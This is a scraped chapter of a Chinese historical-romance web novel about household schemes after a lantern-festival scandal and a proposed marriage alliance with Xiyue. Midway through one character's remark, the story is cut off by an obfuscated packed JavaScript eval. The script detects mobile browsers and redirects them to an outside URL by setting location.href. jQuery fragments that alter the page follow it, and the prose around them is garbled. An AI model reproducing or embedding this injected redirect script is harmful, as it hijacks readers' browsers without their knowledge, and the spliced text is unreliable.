11. 第 11 章

作品:《装娇弱误把死对头攻略了

    晌午,盛老太太正躺在摇椅上,一个婆子替她捏肩,一个小丫鬟替她捶腿。


    谁都看得出,老太太这两日心绪不宁,但凡挑了眉梢或垂了嘴角,便是要发火的。


    于是乎,一屋子下人大气都不敢喘,个个都瞧着老太太脸色做事,偌大一个院子,竟幽静得像座佛堂似的。


    直到宫里来了人,老太太才像见到佛祖显灵般,忙不迭地往脸上挂了笑,拖着颤悠的双腿去迎人。


    太后身边内侍带着东西进门,将几盒滋补药材与几样宫里新制的点心一一摆开,说是“太后娘娘惦记老夫人身子,特意嘱咐送些补品来”。


    老太太听得欢喜,连呼“太后千岁”,原想着重要的话还在后头,谁知内侍末了只添了句“老夫人年纪大了,只管好生养身。旁的事不必多操心”,便匆匆离开。


    意思已然明了,灯会那点风波,到此为止,若再往里搅,只怕讨不了好。


    盛老太太心里一阵烦闷,却也不敢再轻举妄动,胡乱将屋内洒扫的丫鬟骂了一通后,才觉解了些火气,又大喝着让身边的婆子去给徐氏传话,让她别再自作聪明。


    消息很快传到了徐氏院里。


    听完丫鬟转述,她气得砸了茶盏。


    原本还指望着老太太能再去宫里周旋,如今看来,这条路算是彻底断了。


    徐氏敲着手心来回踱步,盛若荷却扬帕子,步伐轻快地回来了。


    她忙上前去,目光先是落在女儿发间的簪子上,见那簪子戴得显眼,脸色又亮了几分。


    “街上可有人认出来?”


    “认什么?如今满大街的姑娘都戴着这簪子。”


    “什么?”徐氏瞪大了眼。


    盛若荷没好气地抬手把簪子从发间拔下来,“当啷”一声丢在桌上。


    “街口有人白送,一人一支。走两步就能看见好几个,谁还分得清头彩是哪一支?”


    徐氏没站稳,差点跌坐在地,由丫鬟搀着才勉强挪到椅子上,扶着额头抽痛不已。


    她最后的一点指望,就这样没了,千算万算还是一场空!


    几乎是同一时辰,王府也察觉到了不对。


    内院的丫鬟匆匆进来回话,将外头街市上的动静一一说了。


    “如今城里许多姑娘都戴着一样的簪子……灯会那夜的事,外头也说不清了。”


    韩王妃缓缓呼了口气,面色如常地饮着茶,只是眼神幽幽。


    原本只是想借盛家这桩“佳话”,替赵衍挡掉那门和亲。既然娶不成盛家大小姐,至少也不能让事情回到原来的轨道。


    沉思片刻,她很快有了主意。


    “去打听,西钺那位郡主,性情如何,喜恶如何,在西钺是什么名声。”


    -


    街头巷尾的流言已然跑偏。


    茶肆里的人说着说着便说不清了,有人笃定那夜是盛家小姐,也有人摇头说自己瞧见的分明不是她。


    至于灯谜台前那男子更是越传越玄,从荣昌侯世子到肃国公世子,连朝中几个年轻探花郎都被提了个遍。


    肃国公府书房被贺子荆的笑声淹了个彻底,笑着笑着,他竟随手起桌上的兵法掩在脸上,往椅背一靠,活像参透奥秘似的。


    “我说谢洵,你这回倒是稀奇,平日见你对盛家那位避得跟见鬼似的,这回怎么突然英雄救美了?”


    “救她?我是救你。”


    谢洵冷冷白了他一眼,夺回兵书,却瞧见书页已被他笑出的眼泪晕成一片,无奈地点了火烛烤干,又细细将晕开的字补上。


    横竖不过一本书,再买一本就是。


    贺子荆想不明白,谢洵明明是个武将,不爱兵器倒也罢了,偏偏把这一柜子兵书当宝贝似的。


    坐在桌沿,他不以为然道:“救我?我有什么需要你救的?”


    谢洵往砚台里添了墨,并不抬头。


    “赵衍若真能借这桩佳话躲过和亲,那西钺郡主,你去娶。”


    贺子荆手里的扇子“啪”的一声掉在桌上。“开什么玩笑?”他一下子坐直了。“我?我名声都烂成这样了,西钺王还能把女儿往我这火坑里推?”


    “西钺男子可娶五个正妻。你那点风花雪月,在他们那里算不得什么。”


    贺子荆张着嘴半天没说出话来,过了好一会儿,他才慢慢回过味,猛地一拍桌子。


    “原来你是这个意思!”


    他盯着谢洵看了半晌,忽然笑得贱兮兮的。“行啊兄弟,你这回救我一命,我记下了。”


    谢洵懒得接话,贺子荆却越说越来劲。“不过话说回来,你家里不也急着给你说亲么?”放心,我是谁?京城贵女哪家什么性子,我可是一清二楚。”


    他一脸认真地掰着手指。


    “温柔的、泼辣的、会下棋的、会骑马的——”


    谢洵忍无可忍,将笔一丢,正打在贺子荆的腰上。


    “送客!”


    贺子荆腰侧一酸,半晌说不出话来,叹了口气。


    “真是的。你对我这个好兄弟,还没有对盛家那位有耐心。”


    -


    另一头的荣昌侯府内院一派祥和。


    灯会那阵子的风波没人再提,主子们心情松快许多,丫鬟们说话的声音也恢复了往日的轻快,廊下有人端茶,有人换花瓶里的海棠,边换边议论街市上的新鲜事。


    盛昭吟坐在窗边,托着腮晃着茶盏,心里反倒有点奇怪。


    风声散得太快,竟像有人在她前头将麻烦事尽数挡了去。可转念一想,天底下哪有这样的好事?多半还是几处算计撞到一块,阴差阳错,反倒把她从里头摘了出来。


    说到底,是她运气好。


    轻酌一口新茶,茶香弥漫在口中,心头萦绕的烦闷总算散了许多。


    院中起了微风,芸珠和小丫鬟盈春正蹲在花圃边上,提着铜壶往花根下浇水。水刚落下,泥土的潮气混着花香一齐散开。


    似乎是听盈春说了什么趣事,芸珠笑弯了腰,险些把水壶打翻,一边拍着裙子上的水珠,一边快步往屋里走。还没进门,声音已经先飘进来。


    “盈春方才从角门回来,说街上如今都在讲西钺的风俗,那里的男子能娶五个正妻呢!内宅岂不是要闹翻天?”


    盛昭吟起先听着还觉得新鲜,茶盏刚放下,脑子里却忽然闪过父亲从前说过的一桩旧事,眉梢便一点点蹙了起来。


    “我以前听父亲说过一桩西钺的事,西钺王有一回打了胜仗心情大好,结果当场把自己的妃子赏给了帐下的将领。”


    “啊?!”芸珠不可置信地瞪大了眼。


    盛昭吟惋惜地摇了摇头:“听说那些女子原本都是贵族人家的女儿,嫁作人妇,却成了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468604|201353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可以随手送人的物件。所谓正妻,在他们那儿,大概也就是多几件摆着好看的东西。”


    芸珠原还想着说些趣闻让小姐高兴些,没想到反倒惹得她沉默下来,一时手足无措,站在桌边绞着帕子,连话也不敢接。


    盛昭吟看了她一眼忽然失笑。


    “瞧你那模样,好像我下一句就要掉眼泪似的。”


    她抬手在芸珠额头上轻轻点了一下。


    芸珠这才松了口气,小声嘟囔:“我还不是怕小姐又替旁人操心。”


    盛昭吟伸手把她往门口轻轻推了两步。“去去去,花都要晒蔫了,快去浇水。”


    芸珠笑着应了一声,提着裙摆往院子里去。门帘刚掀起一角,刘嬷嬷迎面而来,险些同她撞了个满怀。


    “嬷嬷怎么走得这么着急?”芸珠问。


    “二夫人又来了。”刘嬷嬷把手里的帕子往腰间一塞,脸上掩不住的嫌弃。“闹出这么大的风波,她倒是脸皮厚得很!这会儿又提着点心往老夫人院里去,一副孝顺模样,好像外头那些事跟她半点干系都没有!”


    盛昭吟轻哼了一声。她这婶婶一旦有点事便往祖母跟前凑,哭两句委屈、说几句孝顺,祖母十回有八回都要心软。


    既然人都来了,她要是不去瞧一眼,岂不是让这出戏白演了?


    “走吧。”她把披帛从椅背上拎起来,抖了抖,随手搭在肩上。“祖母院子里这么热闹,我这个做孙女的,总不好躲在屋里。”


    刘嬷嬷一听这话,顿时来了精神,挺直腰板跟上。


    -


    盛老太太住的东院平日里最是安静,这会儿竟因着徐氏的到来添了些欢声笑语。


    只是这笑声落在丫鬟婆子们耳中,是拉锯子似的,一下一下刮得人浑身不自在。


    二夫人一来,东院就要热闹一阵子,这在府里早算不得新鲜事。她在老太太跟前惯会说话,几句软声细语下去,老太太心一松,柜子里的好东西便要跟着松。


    婆子们早摸透了这套门道,还没等屋里吩咐,张嬷嬷便已经悄悄把两个描金木盒从柜子里抱了出来。


    到时候只消老太太随口一句“拿些去用”,二夫人推辞两句,再含笑收下,库房里的首饰、补品便能填满木盒,顺顺当当换个主人。


    这套规矩院里人心领神会,只是库房里的东西并非老太太一人所有,若叫夫人或大小姐知道,必定要起风波。


    几个丫鬟围过去小声嘀咕:“上回二夫人来,我瞧着老太太赏她的簪子像是夫人的东西。”


    张嬷嬷变了脸色,忙去捂她的嘴:“这话可不能乱说!老夫人怎会拿夫人的东西。”


    丫鬟不服气地挣开,信誓旦旦地道:“嬷嬷别不信,我当时亲眼看到李嬷嬷将那支簪子存进库房。”


    被她这么一说,张嬷嬷也不似先前那般笃定,拿木盒的手紧了紧,放下也不是,收起来也不是,心口跳得厉害,话都说不利索:“咱们……咱们只是按吩咐做事,夫人宅心仁厚……肯定不会找我们麻烦的对吧?”


    丫鬟们面面相觑,谁都不敢点头。


    张嬷嬷心慌得很,这要是出了什么差错,老太太定是要将下人推出去顶罪。


    她手一抖,竟将木盒摔成了两半,丫鬟们眼疾手快围上去帮忙捡起。


    正想悄悄处理了,却听院门外响起极轻的脚步声。